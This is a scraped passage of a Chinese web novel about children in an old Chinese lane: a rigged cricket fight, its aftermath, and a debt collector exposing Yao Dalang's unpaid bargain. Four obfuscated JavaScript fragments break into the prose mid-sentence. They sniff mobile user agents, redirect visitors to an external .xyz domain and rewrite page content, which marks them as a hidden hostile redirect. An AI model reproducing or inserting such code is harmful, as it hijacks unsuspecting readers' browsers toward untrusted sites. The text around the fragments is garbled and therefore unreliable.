;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529273|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是此番合作只好告吹。 但他转头寻了个空隙就去把沈约给找到了。 “蒋大郎说你家厮儿讲的那个斗蟋蟀的暗摊儿可是真的？”他知道沈约不像蒋修和姚二郎，既不喜欢玩这些，且说话做事也有士人官户子弟的格调，绝不会嘴上跑马。 沈约迎着他探询的目光，微微点了下头：“可能是吧。”又道，“我没去过，你要问他。” 既然沈二郎这么说，那此事果然十有七八是真的了。 袁四郎心里头就有了个打算。 于是为了抢占先手，他便让自己的小厮私底下去给沈约的小厮塞了包果子，然后问出了那个暗摊儿的具体所在，到了下学的时候，他便急急地先回了家。 等到他带着“霸王”又奔到金梁桥这边时，照着那小厮的描述，果然很快就在沿岸一间亭舍里看到了个穿青色布衫，戴着皮帽的方脸少年，在他身边还有一个差不多年纪的少年，瞧着也是副市井游民的样子，此时两人正优哉游哉地在大口吃着烧肉，桌上还摆着好些小菜点心，乍眼见去好不滋润。要不是那个通身漆黑的木罐子颇夺目，袁四郎都怕是以为人家这是出来玩耍的。 于是他带着自家小厮走了上去。 “你那罐子里是装的蛐蛐儿么？”他朝皮帽少年问道。 对方似也是习以为常了，并不觉诧异，随手将鸡骨头往桌上一扔，然后在身上揩了揩手，捞过自己的木罐，说道：“你是来斗虫的？十文钱一盘。” 袁四郎就道：“你那只金蝉子让我先瞧瞧。” 皮帽少年居高临下地轻笑了一下，说道：“你若赢了自然就瞧见了，不然费事我还要拿放折腾一回。我看你还是先把你的斗资拿出来，瞧瞧自己有没有资格来比再说？” 袁四郎被他这么一番讥诮，顿时有些迫不及待了，当即示意小厮拿了十文钱出来往桌上一拍，说道：“一盘定输赢！” 皮帽少年眉毛一挑，应道：“行。” “等等，”袁四郎却忽然又道，“开始之前，咱们两个的蛐蛐儿都要在萝卜水里泡一泡。” 皮帽少年闻言，神色明显一变。 袁四郎本就一直盯着他，此时见状当即在心中肯定了自己所想：这人果然是在蛐蛐儿上动了手脚，不然怎能笃定可长胜？ 就像他一样。 但他既然晓得了其中窍门，自然就觉得自己比蒋修等人多了胜算。于是一上来，他便先开口要求了用萝卜水，为的就是去掉蟋蟀体内的药性。 “行，”皮帽少年在反复打量了他几轮之后应道，“泡就泡。” 袁四郎心中暗喜。 于是两只蟋蟀便都在萝卜水里泡了会儿澡，一盏茶后再拿出来时，皮帽少年的那只就明显精神头没有先前刚打开罐子时那么足了。 袁四郎这只此时则还状态平常。 皮帽少年的伙伴递了两条草叶过来，袁四郎却又道：“我们两个盯着对方，一起各新扯一条吧。” 18. 尴尬 袁四郎提出了大家一起同时新扯一条草叶的要求，那皮帽少年闻言，脸色就更不好了，直接没好气地说了句：“那不如我扯了给你，你扯的给我？” 袁四郎一愣，显然对此并无事先准备，当即下意识拒绝道：“凭什么？”见对方抬眼朝自己看来，他又立刻强掩饰住慌张地道，“我才不给人当厮儿，要扯也不是我给你扯。” 言下之意就是即便要扯了给他，那也是让自己的小厮去动手。 皮帽少年看了他一眼，没说什么。 于是两人便在各自摘下自己要用的草叶后，开始了一局定胜负。 或许当真是被萝卜水泡蔫儿了的缘故，皮帽少年那只蟋蟀被他撩了许久才起了一点斗性，而袁四郎那只“霸王”却是虫如其名，早早地就昂起了头须。 一下场，早已按捺不住的“霸王”便立刻主动冲了上去。 三口茶的工夫不到，皮帽少年的那只蟋蟀就被咬地翻了肚皮。 “哈哈哈，我赢了！”袁四郎霎时激动地喊出了声，冲着对方将手一摊，催道，“金蝉拿来。” 皮帽少年阴沉着脸，忽然一把抓住他的腕子，就势反手一拧。 “啊——”袁四郎当即惊痛地叫了出来。 身边小厮忙上前要帮忙，谁知那皮帽少年的伙伴竟一手大力将他推了开，然后二话不说抓住袁四郎的另一只手，将他捏在指间的那条草叶抢了下来。 “骗人骗到你老子头上来了。”皮帽少年抬手便把他插在帽边的像生花给拽下来，狠狠揉皱了丢在地上，“待会要让我查出这叶子上有猫腻，就他娘的把你裤子扒了，再丢到街上去！” “这也太便宜了吧，”一旁帮忙押人的伙伴笑嘻嘻道，“要我说，该给他们家送个口信，让拿钱来赎人，你这虫子可是糊口的玩意儿呢，就算告到官府也是咱们有理。” 袁四郎被他们两个一唱一和地吓了个透心凉。 这两个结果无论哪个他都受不起，他也想不明白对方是怎么看出来自己的草叶有问题的，明明他这回是提前把药膏抹在手上的啊！ 他忙求饶道：“哥哥，我、我没有骗你，但我晓得我不该把你的蛐蛐儿弄死，我赔你行不？要不，你就把我这只拿去？我家‘霸王’也很厉害的，真的！” “呸，晚了！”皮帽少年唾了他一口，“你哥哥我丢不起那人。敢来搅摊子，那就等你家拿钱来赔吧，老子里子面子一样不能少！” 袁四郎几时见过这等凶神恶煞的阵仗？他往日里和其他人闹得最厉害也不过就是同蒋修这两回，可蒋修也不会这样整他啊！ 他心中越怕，身体就越不受控制地发抖，还没开口，眼泪已开始往下掉。 “我……”袁四郎刚说了一个字，突然就感到裆下一热，接着便湿了裤管。 他突地呆住了。 皮帽少年眉头一皱：“什么骚味儿？”然后目光落在满脸通红的袁四郎身上，恍然嘲笑道，“你尿裤子了？” 袁四郎恨不得钻到地缝里去。 亭舍外突然传来了个熟悉的声音喝道：“你们在做什么？” 袁四郎转头一看，竟看见蒋修带着小厮快步走了进来，他心中先是一喜，随即想起身上尴尬，又更感难堪地转开了头。 蒋修上来便冲着正押住袁四郎的皮帽少年一掌推去，口中道：“作甚以大欺小？” 那皮帽少年险被他推了个趔趄，气笑一声，说道：“这小子使诈赢我，弄死了我的蛐蛐儿，还想骗我的赌注，我不该揍他？” 蒋修转头朝袁四郎看去。 后者哭丧着脸道：“我说了我愿意把‘霸王’赔给他，东西我也还没拿着。” 蒋修便又对皮帽少年道：“那他对你道个歉，蛐蛐儿也给你，另外我再帮他出五十文钱算赔礼，成么？这事若闹到家里大人那里去，你们也不一定就能拿到好处。” 皮帽少年与伙伴对视了一眼，几息后，伸了手出来：“行吧，那就饶他一回，不过他以后再不许来我这里搅事。” 袁四郎忙道：“我不来了不来了。” 双方谈妥，事情这才了了。 “蒋大，这次谢谢你了。”袁四郎拉着蒋修上了马车，感动地道，“那五十文钱我回头还你。”说完，又扭捏了几息，红着脸赧然地道，“你帮个忙，今天这事别告诉别人。我那就是刚好尿急，恰好被他给耽搁了……” 蒋修心里想笑，但面上却做出副自己才懒得管这事的样子，故作姿态地道：“看在同窗的份上这么帮你一回就算我够意思了，凭什么还白替你保密？何况你本就是背着我来的，不厚道。” 袁四郎也不傻，听他这样一说，立刻反应了过来，只好忙道：“那我把球杖还你，这你肯答应了吧？” 蒋修停了停，往他两腿间瞥了一眼，忍了唇边偷笑，淡定道：“那便勉为其难吧。” *** 回到照金巷，蒋修就迫不及待先去敲了沈家的门。 “蒋大郎。” 身后传来了女孩儿的声音，蒋修转过头，正看见沈云如在小女使的陪伴下细步朝他走来。 他便轻点了下头，以示招呼，然后往旁边站开了些，打算把路给对方让出来。 沈云如却没急着往门里走，反而在他面前停下了脚步，目光在他脸上打量着停了停，问道：“你病都好了？” 蒋修点头道：“本就是小病，不过家里非要我多休息两日。” “他们也是关心你。”沈云如道。 “所以我只好顺着他们呗。”蒋修道，“要不是那汤药实在难喝，我还能多躺十天半个月来安慰我爹。”一副很是大方豪气的样子。 沈云如忍不住弯了唇角，也玩笑地道：“你说话也该靠些谱，蒋二丈好不容易才让你丢了药罐子，你若当真再躺那么久，只怕于他不是安慰，而是惊吓了。” 她自觉这话是顺着对方说来调侃，活络气氛的，谁知蒋修一听，神色就没有先前那么好了。 但他也没说什么，只是勉强地牵了下唇角算是回应，然后便转开目光往沈家门内看了眼，似是更着急地在等什么人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529274|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈云如被他突然这么一冷，心里也有点不舒服，只觉蒋修比他妹妹的性格还要阴晴不定，蒋娇娇尚且还缠着她好过些日子，可蒋修却一直就这般莫名其妙。说他是附和他妹妹故意冷待她吧也不是，他对她的态度每回起初都很正常，但只要当她对他说些好心提醒的话时，他却又一副偏不以为然的样子了。 譬如上次在谢元郎的接风宴上，又譬如此时。 她觉得他有些不识好人心。 她也从未见过这样不知好歹的。 但她又觉得不服气，凭什么明明她是对的，却反而要灰溜溜地逃走？就好像之前在蒋家那次一样。 她这次肯定是不能再露出尴尬了。 于是她便若无其事地转了话题，说道：“我方从姚家那边回来，姚小娘子明年也要进劝淑斋了，她娘亲请了我娘让我这段时间先带带她。” 蒋修不知道她跟自己说这个干嘛，但出于礼貌，还是回应道：“哦，那挺好的。” 沈云如等的就是他开口回应自己，如此她便能顺理成章地反客为主，丢下他不理了。 这样她才没有输。 于是她看也不看蒋修一眼，抬脚便径自从他面前走过，踏入了家中大门。 蒋修看着她突如其来的背影：“？” 他正感莫名，便见到沈约从里头出来了，还恰好和沈云如照了面，姐弟两个错身时打了招呼，也不知说了句什么，沈约朝蒋修这边望了一眼，然后快步走了出来。 “你刚才说什么惹着我大姐姐了？”沈约问他道。 蒋修莫名其妙地道：“没说什么啊，正好碰上只打了个招呼而已。” 他心说你大姐姐嘲我以前是药罐子，我都还没生气呢，怎地反倒成了我惹她？ 他觉得自己挺冤枉，忍不住说了句：“你大姐姐的脾气也太大了。” 沈约即皱着眉看了他一眼。 这话再说下去恐怕就要伤朋友情分了。蒋修虽没能按捺住情绪，但却也及时地摆出了自觉性，见沈约脸色不悦就打住了没再多说，只笑嘻嘻地伸手从初一那里接过自己的球杖，朝沈约晃了晃，说道：“事情成了，晚上你过来，我给你们讲经过。” 沈约对经过没什么兴趣，说道：“既是意料之中，就不必再详述了。”又道，“你若真拿我当朋友，回头就跟我大姐姐赔个不是，之前去探望你时，那干果子还是她让人给你准备的。” 涉及沈云如的脸面，沈约也没提上次她从蒋家回来被罚抄了经书的事。 蒋修愣了愣。 他原本是没有觉得自己应该要对沈云如道什么歉的。毕竟他甚至都不知道自己是哪里得罪了她，她气的是什么？他是当真一头雾水。 哪有人闲的没事干把道歉当好玩的？ 但沈约是他的朋友，而且是才帮过他的朋友。 沈云如既是沈约的姐姐，又在他生病时送了探望礼来。于是他在心里权衡一番，最后觉得自己既是男孩子，那吃点亏也就吃点亏吧。 “好吧。”他只能答应了。 19. 不同 蒋娇娇听说蒋修回来了，便急急地跑了过去找他。 “大哥哥你赢了么？”她紧张又期待地盯着兄长。 和沈约平淡的反应全然不同，蒋娇娇的捧场让蒋修总算迟来地感受到了点胜利的满足感，于是他难以掩饰喜悦地得意道：“那当然。” 蒋娇娇开心地蹦起来。 蒋修豪气道：“回头我给你买面具戴。” 蒋娇娇高兴地点头，又问：“你告诉谢暎了么？” 蒋修摇头。 蒋娇娇就积极地要帮他去说，她哥看她这狗肚子里盛不住二两香油的样子，当即拦住她，提醒道：“你别闹那么大动静，生怕爹娘不晓得啊？” “我打算待会就叫上他一道去趟姚家，”蒋修道，“还要和姚大郎道个谢。” 蒋娇娇觉得姚家自己也能去，便道：“那我顺便去和之之玩儿。” 她这话正好提醒了蒋修，于是蒋修道：“行，那你顺便帮我跟姚小娘子说下，请她帮忙探探沈小娘子喜欢什么。” 蒋娇娇一听，顿时整个人都不好了。 “你要做什么？”她狐疑又不悦地盯着她哥。 蒋修没那么多敏感心思，直直地便道：“先前我去沈家的时候正好撞上她从姚家回去，也不知怎地得罪了她，我向她赔个礼。” 蒋娇娇听着就更不高兴了：“她凭什么生你的气？你还要去哄她，你不知道我不喜欢她么？” “我知道啊，所以我不是叫你去让姚小娘子帮我打听么？”蒋修深觉此乃两全其美之法，“又不用你去找她说话。” 蒋娇娇觉得她哥简直是在跟自己作对，气道：“……她惹我生气也没见向我赔礼呢！你怎么巴巴上赶着？！” 蒋修抬手捏住妹妹的小圆脸蛋，逗笑道：“一码归一码，你有本事就去让人家跟你赔礼，少拿我的事与你搅和。” 蒋娇娇愤愤扒开了他的手。 “行了别闹了，”蒋修道，“人家帮了我一回，你别计较那么多。”又诱惑她道，“你帮我传个话，以后有机会我带你出门去瓦舍玩儿。” 蒋娇娇霎时有些心动：“什么时候？” “等你再大一点。”蒋修一边接了初一递过来的蟋蟀罐，一边随口说着，“那样不容易走丢。” 蒋娇娇注意到他手里的蛐蛐儿，问道：“你还要去跟人斗蛐蛐儿么？”她不免觉得有点担心，“你别去了，我觉得这个不好玩，我不想你再生病了。” 蒋修看着她，微笑了笑，说道：“以后再不斗了，我打算把它放生。” “行不行全看虫，还是给喂了药的。”蒋修幽幽说道，“没意思。” *** 当天晚上，蒋修便叫上谢暎一起去了姚家，除了向知情各方都通报一下事情结果之外，也正式对姚大郎表示了感谢，蒋修还打算趁后天学里放假的时候请对方吃顿饭，并叫上巷子里其他小伙伴作陪。 蒋娇娇则在和姚之如聊天的过程中，也忍不住兴奋地把这个“秘密”和小姐妹分享了。 姚之如后知后觉地感受到了震惊。 “你大哥哥心眼儿也太厉害了。”姚之如佩服地感慨道，“竟然能想出这个主意报复那袁四郎。”又颇感奇妙地道，“但我二哥哥居然能答应加入，还说动了大哥哥，这也很神奇。” 蒋娇娇刚想说这主意一大半儿都是谢暎出的，转瞬又想起蒋修的叮嘱，于是及时地打住了，然后拐了个弯儿，接过对方的话问道：“你二哥哥答应加入有什么神奇？他一向和我大哥哥走得近，何况连沈二郎都答应出力了。” 姚之如道：“沈小官人本就正直，自是也看不惯那姚二郎耍手段还害得你哥哥生病。”语气间对沈约很是肯定。 说罢，她又压低了些声音，对蒋娇娇道：“但我二哥哥一向有些怕事的。” 蒋娇娇经她这么一说，方忽然想起了一件因平时大家都不怎么提起而被她差不多遗忘的事—— 姚二郎其实是庶出。 而且他的生母后来被他父亲又借给了朋友去生儿子，结果谁承想这次却遇到了难产，一尸两命。之后姚二郎就被养在了姚大郎和姚之如的母亲，也就是姚家大娘子的名下。 那时姚二郎才一岁多，之后这几年他们兄妹三人养在一处，其实外头人瞧起来也无甚差别。本来他又是个儿子，在家里头得的看重还比姚之如多些，再加上平日里巷中也无人特意提及他的身世，所以久而久之蒋娇娇就更忘了这茬了。 但蒋娇娇却也有些不同看法：“他平时也不怕事啊。”她想起姚二郎往日里说长道短又爱起哄的样子，以前她和蒋修要找人陪玩儿他也最积极。 姚之如也不知道该怎么解释，但她却很明白，蒋娇娇说的“不怕事”和自己说的“怕事”其实是不一样的，但至于为何不一样她也说不出个所以然，故而只能道：“他和我一样，都不敢招惹大哥哥。” 姚之如还给自己留了点面子，其实她晓得自己连二哥哥都是不敢招惹的。 她有时候挺羡慕蒋娇娇，因为对方居然一点也不怕蒋修，就连上次抓伤了他的脸也才挨了两下藤条，之后蒋修还反过来哄着。 若换作自己，姚之如根本不敢想。 两人又闲聊了会儿，蒋娇娇还问起了沈云如来带姚之如的事，后者怕她又生气，忙先解释道：“娘也是怕我到时入学不习惯，便试着去问了下唐大娘子，没想到沈家很快就答应了。” 蒋娇娇经过上回，心里有了准备，自然也就不会在同一件事上与她闹脾气，问出来也不过就是满足下好奇，顺便再对姚之如加强下提醒：“你也不要天天和她在一起，有时间还要找我玩儿。” 姚之如点头道：“她也不会天天来的。” 没多久，蒋修那边就让人过来通知说要回去了，蒋娇娇便和姚之如告了别。 在大门口她还看到了专门送蒋修和谢暎出来的姚二郎，对方冲她笑着打招呼：“娇娇。” 蒋娇娇回礼地喊了他声“姚二哥哥”，然后便径直走到了与蒋修并肩而立的谢暎身旁，整个过程十分流畅自然。 除了蒋修并没当回事之外，谢暎和姚二郎都不约而同地略顿了一下。 姚二郎以往同蒋家兄妹走得近，可以说除了姚之如之外，他对蒋娇娇的性格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529275|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是最了解的，他知道蒋娇娇这看似无意的举动并不是因为她嫌绕到蒋修身边麻烦，而是代表了她对谢暎的亲近。 就像以前很多次大家聚在一起的时候，她总是会跨过千山万水凑到蒋修或者姚之如的身边，哪怕位置都摆好了，她也要霸道地换过去。 姚二郎没想到谢暎才搬来没几天就得到了蒋娇娇的“另眼相待”，他心里有点不舒服，但想到谢暎人还不错，之前甚至帮了他，他又觉得自己这种不舒服有些不应该。 所以这一顿不过短短须臾，他就佯作没有看到地释然了。 而谢暎则只是有些不太习惯蒋娇娇与人亲近的直白表现，就好像他从未想过会站在自己身边的人突然间就毫不犹豫地站到了他这一边，这种从未有过的体验让他有些意外，有些拘谨，也……似乎有些不错的感受。 但那些心情交织在一起太复杂，短短的一瞬让他实在很难去理清，于是也就自然而然地放过了。 从姚家出来，蒋修就和谢暎商量起了后天去外面吃饭的事，但谢暎因在孝中，所以婉拒了。 “你们去就好了，”他说，“原也只有你道的那声谢才要紧。” “我知道，”蒋修一副了然的样子，不以为意地笑了笑，“他也觉得他是这巷子里的‘大哥哥’呢。” 谢暎见他原来也是心明眼亮，故也不多说，只委婉道：“他本就比你年长，你叫他一声哥哥也不吃亏。” 蒋修却道：“吃亏虽是不吃，但我叫着不太服气。” 在他看来，这照金巷里能得所有人都可叫一声“大哥哥”的便只有沈约的兄长沈缙。比年纪，人家对他们来说本就等于半个“大人”，只比他小姑小些；比学问修养，人家书读得好，人也知书达理，一看就是以后要金榜题名有大前程的。不仅沈约提起自家兄长崇拜，他们也觉得挺望尘莫及，一声“沈大哥哥”他也叫得心顺口顺。 可姚大郎显然并没有能让他服到那份上。 所以他只和常人一样称其姚大郎。 蒋娇娇也附和道：“我也觉得姚大哥哥不像大哥哥。”但她的嘴却没有蒋修那么硬，所以叫得倒也能很顺口。 谢暎已然晓得他们兄妹的脾气，便也不多说，只道：“那我先回去了。” 蒋娇娇就道：“你明天过来吧？我想和你们一起写字，爹爹说你的字写得比大哥哥好。” 蒋修伸手来捂她的嘴，口中道：“我的也不差好不好！” 谢暎略感失笑，向着她轻点了点头，又同两人告过别后这才转身往回去了。 蒋修此时方忽又想起一事，问他妹：“对了，你话转了么？” “嗯。”蒋娇娇囫囵着应了声，心思转了转，说道，“之之说她好像也挺喜欢面具，而且是又丑又吓人的那种，和别人都不一样才觉得特别。” 蒋修愕然：“看不出来她品位这样独特。” 蒋娇娇一本正经地道：“是啊，我也没有想到。” …… 然而，这一夜让谁都没有想到的是，蒋修专为姚大郎准备的道谢宴还未来得及摆上，第二天巷子里便来了个不速之客。 20. 出卖 这日夜幕初降，蒋家兄妹和谢暎正一起在书室里温习功课，蒋娇娇抄书的时候觉得自己有几个字怎么也写不顺，就让谢暎教她，他便耐心地陪她一笔一笔地去描。 蒋修有些佩服他，说道：“她那手字不知练到什么时候才有样子，也亏你不嫌烦。” 谢暎微笑了笑：“无事，我原本每日也要写二十篇字的。” ……二十篇？蒋修惊呆了，须臾，感慨道：“难怪你和沈二一样这么沉得住气。” 蒋娇娇此时却学得认真，两只耳朵仿佛径自过滤了蒋修的声音，也没去计较她哥说她烦的事，只道：“我每天只能写两篇。” 蒋修道：“你就不必算进去了，都知道你艰难。” 谢暎忍了忍笑。 “大公子，”初一忽然走了进来，向蒋修禀道，“老爷差了宋勉哥哥过来，要你去前院一趟。” 宋勉是蒋世泽身边的长随，虽是随从，但似这种等闲跑腿的事一般是落不到他头上的，故而听初一这么一说，蒋家兄妹立刻都本能地察觉到了不对劲。 宋勉，前院……也就是说他们爹爹多半是刚进门就迫不及待地要找他了。 这能是啥好事？ 蒋修还是怀抱些侥幸地问道：“瞧着是好事坏事？” 初一忖道：“我瞧着宋勉哥哥没甚明显的表情。” 那就真多半不是好事了。蒋修本就才当了回“贼”，心头多少还是有些发虚的，闻言难掩沉重。 蒋娇娇上回才挨过次她爹爹的打，对这些自也不乏敏感，想起那次蒋修护着自己的事，她便当即道：“大哥哥，我陪你一起去。” 这种关键时候蒋修也觉得他妹的存在挺珍贵，正所谓哄妹千日用妹一时，兄妹嘛，就靠她了！ 于是他冲着蒋娇娇伸了个拇指：“够义气。”然后伸手来牵她，“走。” 谢暎从他们的反应也猜出来了兄妹两人此去可能有点危险，不由眉头微蹙，主动道：“若真是那件事，你就说是我吧。” 蒋修却不同意：“你本就是帮的我，我可不兴搞过河拆桥。”他知道自己大不了挨顿家里教训，可谢暎和他们不同。 若让谢夫子晓得了，万一嫌他惹事，把他退回族里去了怎么办？ “你还要教娇娇写字呢。”蒋修说完，便牵着妹妹头也不回地走了出去。 在去前院这短短的一路上，蒋修在心里已经反复思索了几回：除了这件事之外还可能是其他什么事？若当真是这件事，那这事是怎么暴露的？谁走漏的风声？ 巷子里几乎每个人都掺了一手，按理谁也不可能自己卖自己呀。 他牵着蒋娇娇刚走到院子里，就听见他爹凉着声音说了句：“你把你妹妹带来做什么？” 蒋修还没来得及回答，便忽地看清了此时他爹爹面前站的是谁。 这一看清，他立刻心里头就凉了半截。 原来那皮帽少年不知怎地竟找来了照金巷，摸到了他家大门，还正撞上了他爹爹！这可真是扎扎实实的一状，告地他想挣扎都没得挣。 蒋娇娇主动道：“爹爹，我想来。” 蒋世泽还穿着外出的衣服，一看就是刚回家。 蒋修觉得那小子来得也太巧了，若早些时候他爹不在家里，这事他光是求小姑就能帮他盖下去，也不知对方是不是故意挑的时间。 但这会子他已没工夫去计较这些了，只能识时务地选择了坦白：“爹，这人怎么说的？” 他虽然晓得受罚在所难免，但也得防着对方添油加醋。 蒋世泽不料他竟是这种反应，顿觉好气又好笑，可随之而来的却也有一丝新鲜的安慰。 原来他这儿子也不光只晓得耍牛脾气，小小年纪居然还知道绕弯子抓重点，此时表现可谓从容不迫。不错，是他的种。 但该骂的还是要骂，于是他沉着脸道：“你自己干了什么自己心里可有数？咱们家做事的‘诚信’二字你是吃到狗肚子里了？” 诚信？蒋修忽感莫名。 谁知此时那皮帽少年却开了口：“不对，你只是后来演戏的那个，欠账的不是你。” 他这话一出，不仅蒋修，蒋世泽也愣了一下。 敢情这是找错了人？ 蒋修不傻，这些事本就都是姚大郎在外头安排的，那什么欠账明摆着肯定就是和姚大有关了。 “你可知道是谁？”蒋世泽问他。 蒋修虽然有些不满姚大郎干的这桩事儿，但因觉得别人说到底还是为了他在忙活，所以还是不想把人给供出来，便摇摇头：“不知道。”又道，“但是爹，这个钱我……” 但蒋世泽好像猜到了儿子要说什么，直接开口打断了他的话。 “那就去把姚家和谢家的公子都请过来吧，”蒋世泽吩咐宋勉道，“让他们把自家厮儿也都带上。” 蒋修一愣。 蒋娇娇担心哥哥和谢暎，见状觉得不如干脆人多力量大，反正她爹爹一向抬举沈家郎娘，便索性道：“爹爹，你怎么不把沈家的公子也叫过来？” 蒋世泽皱眉看了她一眼：“你若不肯老实待着那就回房间去。” 蒋娇娇只好心不甘情不愿地闭了嘴。 谢暎本来就在蒋家，所以被请来的最快，他到的时候便正对上了蒋修歉疚的眼神还有蒋娇娇担心的目光，又看到院子里站着个陌生少年，心里便有了些数。 蒋修低声说了句：“来要账的。” 谢暎瞬间了然。 他们千想万想，就是没想到姚大郎竟然会赖人家的账。 他心头有些发沉，有些无言，也有些气恼。 居然是为这样的事和这样的人拖了后腿，他觉得挺可笑，也觉得挺倒霉。 但事已至此，他也没什么可说的。 姚家兄弟很快就被请过来了，陪着他们来的却不是自家厮儿，而是他们的父亲，姚人良。 姚二郎一见院子里这个阵仗，还有蒋修等人的神色，就知道大事不妙，还没开口说话，就已先白了脸。 姚大郎虽然最镇定，看上去若无其事，但这份若无其事因为太过做作而也显得并不自然。 几个小孩子在蒋世泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529276|170804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里简直就跟玻璃瓶子似地，里面装了几颗珠子他都能看得清清楚楚。 皮帽少年一下子就把姚大郎给认出来了，指道：“就是他！说好的给一百文钱，结果就只一开始付了五十，之后就没了影子。” 姚人良看了眼长子，眉间微微一蹙，然后朝蒋世泽笑着拱手礼道：“蒋二兄。” 蒋世泽点了点头，说道：“我回来时正好遇上这少年来家里要账，说是照金巷蒋家公子赖了他的钱，我这劣子拖累四邻，让姚兄看笑话了。” 姚人良立刻就明白自己儿子干了件什么事。 “蒋二兄哪里话，他们都是自小的情分，岂有拖累不拖累一说。”姚人良道，“我也才听二郎说了，修哥儿这回受了不少委屈。”言罢，他便看向长子，肃然道，“你有心帮人办个事都办不好，以后家里那一大摊子如何承得起？还不快自己解决了！” 说完，他就伸手推了姚大郎一把。 姚大郎虽然知道父亲这话是在替他解释，说明他本就是好心帮忙，但当着这么多人的面，他却还是很觉得下不来台。 于是他忍不住辩道：“我的确是说好给一百文，但我以为修哥儿最后付的五十钱也是算在里面的，何况袁四郎还给了斗资。” 那皮帽少年不服了：“你当时明明说的是事成之后再给五十钱！旁的是旁的，怎能一并算在里头？而且说好的在金梁桥东头等，你也根本没来。” 姚大郎忍不住有些起急，他觉得这事怎么也不该落到自己被千夫所指甚至在巷中丢尽脸面的境地上，可蒋修几个根本就没有要出来帮他说话的意思，他不免感到着恼。 但他清醒地明白自己不能说蒋修如何如何，否则他就成了大傻子，明知父亲的意思还要招惹蒋家。至于他二弟，那也是姓姚的，并不能让他们姚家的脸面上好过多少。 于是待他目光微转落在谢暎身上时，便突地急中生了智。 “那就是我会错了意。”他说，“当时谢元郎不是这样对二郎说的。” 话音落下，他似乎觉得周遭气氛倏然凝滞了两息。 其他人的目光随着他的话纷纷落到了谢暎和姚二郎身上。 所有人都明白，姚大郎这话的意思就是在说整个主意是谢暎出的。 蒋娇娇惊诧过后，立刻毛了。 “姚大哥哥你太坏了！”她年纪小，多的话也骂不出来，更遑论婉转？只能气愤地当着所有人的面便直白地朝对方表示了厌恶。 蒋修也生了气，他实在不想再听姚大郎在那里胡说八道地拉别人下水，索性对他爹道：“爹，与其他人都没有什么关系，这钱本该是我认的，你罚我的我也认。” 姚二郎则低着头根本不敢说话。 他知道兄长是要自己配合，可是他如果真地开口冤枉了谢暎，那以后巷子里其他人肯定也都不想理他了。 恰在此时，忽有个人扬声说道：“既然债主就在这里站着，那他找谁便该是谁给，又不是什么好事，怎地还巴不得到处让人沾味儿？” 谢暎闻声一顿，转头看向来人，满目愣怔。 21. 释然 谢夫子过来了。 他说完话，便径直穿过人群走到了自己侄孙身边，然后冲着蒋世泽和姚人良分别拱手一礼，待对方两人回过礼后，他便先开了口问那皮帽少年道：“可是我家孙儿欠了你的账？” 皮帽少年微怔地摇了摇头。 谢夫子便回头对蒋世泽道：“那我就先带我们家小子回去了，免得耽误这里的事，你们慢慢说。” 说完，他就直接拉着谢暎走了。 姚家父子不免一阵尴尬。 蒋世泽此时却不急不慢地对姚人良说道：“小孩子家说话难免词不达意，我看也不是什么大事。既然一切本就因修哥儿所起，这钱自然也该我们家出。”说完，他就当场吩咐宋勉给了那皮帽少年一百文钱，并让人把对方送出了巷子。 “修哥儿，”蒋世泽又提醒道，“你姚大哥哥好心帮你一场，你总该道声谢。” 蒋娇娇不服气道：“昨日大哥哥就专门去道过谢了，本是要请姚大哥哥吃饭的。” 蒋修也没有说话。 姚人良却忙道：“哪有什么谢不谢的，他这事本也没有办好，修哥儿不生气已够了。” 蒋世泽本就是做个姿态，自然没有勉强蒋修。 姚人良也是识趣的，又说了两句圆场的话，很快便带着两个儿子告辞回了家。 直等到关上自家大门，姚人良就气地立刻动了家法。 段大娘子得到消息后便急急地赶过来劝，生怕丈夫下手重了。 “我不打得重些，只怕他不长教训！”姚人良气道，“我怎么会有你这么蠢的儿子？！你看看人家蒋修，还比你小上好几岁，你就不能学学人家的大气？” 